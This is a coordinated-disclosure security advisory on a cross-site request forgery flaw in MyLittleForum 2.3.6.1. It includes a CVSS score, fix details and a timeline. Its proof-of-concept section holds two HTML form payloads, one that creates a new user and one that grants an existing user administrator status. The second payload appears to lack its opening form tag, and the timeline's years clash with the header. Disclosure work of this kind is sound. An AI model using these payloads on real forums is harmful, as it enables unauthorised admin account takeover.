MyLittleForum 2.3.6.1: CSRF

MyLittleForum 2.3.6.1: CSRF

Date: 2016-11-10 10:49:42
Security Advisory – Curesec Research Team

1. Introduction

Affected Product: MyLittleForum 2.3.6.1
Fixed in: 2.3.7beta
Fixed Version Link: https://github.com/ilosuna/mylittleforum/releases/tag/v2.3.7beta
Vendor Website: http://mylittleforum.net/
Vulnerability Type: CSRF
Remote Exploitable: Yes
Reported to vendor: 09/05/2016
Disclosed to public: 11/10/2016
Release mode: Coordinated Release
CVE: n/a
Credits Tim Coen of Curesec GmbH

2. Overview

MyLittleForum is forum software written in PHP. In version 2.3.6.1, it is vulnerable to cross site request forgery. An attacker could exploit this issue to add new users or change the status of existing users to administrator if a victim visits a website containing a specifically crafted payload while logged into MyLittleForum.

3. Details

CVSS: Medium 5.1 AV:N/AC:H/Au:N/C:P/I:P/A:P

Description: There is no CSRF protection, allowing an attacker to perform actions for a victim if the victim visits an attacker controlled website while logged in.

Proof of Concept:

Add New User: <html> <body> <form action="http://localhost/mylittleforum-2.3.6.1/index.php" method="POST"> <input type="hidden" name="mode" value="admin" /> <input type="hidden" name="ar_username" value="admin2" /> <input type="hidden" name="ar_email" value="admin2@example.com" /> <input type="hidden" name="ar_pw" value="admin" /> <input type="hidden" name="ar_pw_conf" value="admin" /> <input type="hidden" name="register_submit" value="� OK� " /> <input type="submit" value="Submit request" /> </form> </body> </html> Make Existing User Admin: <html> <body> <input type="hidden" name="mode" value="admin" /> <input type="hidden" name="edit_user_id" value="2" /> <input type="hidden" name="edit_user_name" value="foo" /> <input type="hidden" name="edit_user_type" value="2" /> <input type="hidden" name="user_email" value="foo@example.com" /> <input type="hidden" name="user_hp" value="" /> <input type="hidden" name="user_real_name" value="" /> <input type="hidden" name="user_birthday" value="1912-12-12" /> <input type="hidden" name="user_location" value="" /> <input type="hidden" name="profile" value="" /> <input type="hidden" name="signature" value="" /> <input type="hidden" name="user_language" value="" /> <input type="hidden" name="user_time_zone" value="" /> <input type="hidden" name="user_time_difference" value="0" /> <input type="hidden" name="edit_user_submit" value="OK - Save" /> <input type="submit" value="Submit request" /> </form> </body> </html>

4. Solution

To mitigate this issue please upgrade at least to version 2.3.7beta:

https://github.com/ilosuna/mylittleforum/releases/tag/v2.3.7beta

Please note that a newer version might already be available.

5. Report Timeline

09/05/2015 Informed Vendor about Issue (no reply)
09/15/2015 Reminded Vendor of Disclosure Date
09/15/2015 Vendor replies
10/04/2015 Vendor releases fix
11/10/2016 Disclosed to public